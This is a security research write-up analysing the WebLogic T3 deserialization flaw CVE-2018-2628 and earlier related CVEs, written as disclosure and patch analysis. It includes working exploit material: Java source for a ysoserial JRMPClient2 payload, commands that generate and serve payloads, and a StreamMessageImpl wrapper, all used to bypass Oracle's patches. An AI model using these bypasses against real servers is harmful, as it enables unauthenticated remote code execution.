Date: April 25, 2018
Chinese Version: https://paper.seebug.org/584/

Introduction

On April 18, 2018, Oracle officially released the April Critical Patch Update (CPU), which fixed a high-risk WebLogic deserialization vulnerability CVE-2018-2628. An attacker can remotely attack a vulnerable WebLogic component through the T3 protocol without authorization, and can obtain all permissions of the target system.

Impact

• Weblogic 10.3.6.0
• Weblogic 12.1.3.0
• Weblogic 12.2.1.2
• Weblogic 12.2.1.3

History

Here is a brief description of several Weblogic deserialization vulnerabilities that are publicly available.

CVE-2015-4852

On November 6, 2015, a blog published by @breenmachine of the FoxGlove Security showed how to use the Java deserialization and Apache Commons Collections to attack the latest versions of well-known Java applications including WebLogic, WebSphere, JBoss, Jenkins, OpenNMS to enable remote code execution. CVE-2015-4852 uses the Commons Collections library in Weblogic for remote code execution. I checked the patch for CVE-2015-4852 (p21984589_1036_Generic) and found that Weblogic had used the blacklist to fix this vulnerability.

However, this type of repair was very passive and there was a risk of being bypassed. As long as the deserialization class is available and not outside the blacklist, the previous protection will be broken and the system will be attacked. Subsequent vulnerabilities also proved this.

CVE-2016-0638

Weblogic deserialization has three key points, and the blacklist ClassFilter.class also includes them.

• weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
• weblogic.rjvm.MsgAbbrevInputStream.class
• weblogic.iiop.Utils.class

It has been found that the readExternal() of weblogic.jms.common.StreamMessageImpl can also be deserialized, and this is not restricted by the blacklist, so the previous patch can be bypassed.

CVE-2016-3510

The principle is to encapsulate the deserialized object into weblogic.corba.utils.MarshalledObject and then serialize MarshalledObject to generate the payload bytecode. While deserializing， MarshalledObject is not in the WebLogic blacklist, it can be deserialized normally. At the same time, the MarshalledObject object calls readObject and deserializes the encapsulated serialized object of the MarshalledObject. This is how it passes the blacklist check.

CVE-2017-3248

JRMP, the Java Remote MessagingProtocol, is a Java technology-specific protocol for finding and referencing remote objects. This is the line layer protocol that runs under RMI and over TCP/IP.

This vulnerability uses the flaw of the RMI mechanism to achieve the purpose of executing any deserialized payload through the JRMP protocol. Using ysoserial's JRMPListener will serialize a RemoteObjectInvocationHandler that uses UnicastRef to establish a remote TCP connection to get the RMI registry. This connection uses the JRMP protocol, so the client will deserialize everything that the server responds, enabling unauthenticated remote code execution.

CVE-2018-2628 Vulnerability Analysis

First, let's look at the following patch of CVE-2017-3248 (p24667634_1036_Generic). We can see weblogic.rjvm.InboundMsgAbbrev\$ServerChannelInputStream.class has a resolveProxyClass. It just judges the RMI interface type, to determine whether the RMI interface is java.rmi.registry.Registry. If yes, it will throw an error.

Here, you can bypass this patch by changing the RMI interface type. You can use java.rmi.activation.Activator instead of java.rmi.registry.Registry to generate a payload, which can bypass this judgment.

Write a JRMPClient2 in the same way as JRMPClient and recompile.

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

public Activator getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}

public static void main ( final String[] args ) throws Exception {
}
}

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2

You can compare the payload generated by JRMPClient and JRMPClient2 below.

Except for the RMI interface, everything else is the same.

JRMPListener opens

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

The Weblogic version I tested was 10.3.6.0.170117, which fixes the CVE-2017-3248 vulnerability. In my local environment, the payload of CommonsCollections has expired. Weblogic's commons-collections.jar version has been upgraded, so my payload here is Jdk7u21 (this payload only works if the JRE version is less than or equal to 1.7u21). In Weblogic where the commons-collections.jar version is not upgraded, you can use the CommonsCollections payload.

Send p_client2 by using the t3 protocol script, you can see that the JRMPListener has a request, and the client command has also been executed successfully.

In contrast, the p_client generated by JRMPClient is also sent, and you can see the message Unauthorized proxy deserialization, which is the error thrown by the blacklist interception.

It is clear java.rmi.activation.Activator bypassed the patch of CVE-2017-3248.

Another Way to Bypass the Patch

This method was discovered when I tried the payload when recurring the vulnerability. The way to bypass it was related to CVE-2016-0638.

The StreamMessageImpl point does not have a resolveProxyClass check when deserializing. So you can use StreamMessageImpl to serialize RemoteObjectInvocationHandler to bypass the resolveProxyClass function. Equivalent to using the CVE-2016-0638 plus the CVE-2017-3248 payload to bypass the patch.

The payloadObject generated by JRMPClient is encapsulated with StreamMessageImpl to generate a new payload, p_stream.

    public static Object streamMessageImpl(byte[] object) throws Exception {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}

Send this with the script, and you can see that the command was successfully executed.

CVE-2018-2628 Patch Analysis

While I was comparing these patches (p27395085_1036_Generic), I found that the WeblogicFilterConfig.class blacklist had a sun.rmi.server.UnicastRef.

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

But according to my actual test, the command can still be executed successfully, and it seems that the patch does not work.

Summary

In general, the Weblogic deserialization vulnerability is endless repairing - bypassing - repairing - bypassing ... the most exciting is always the next !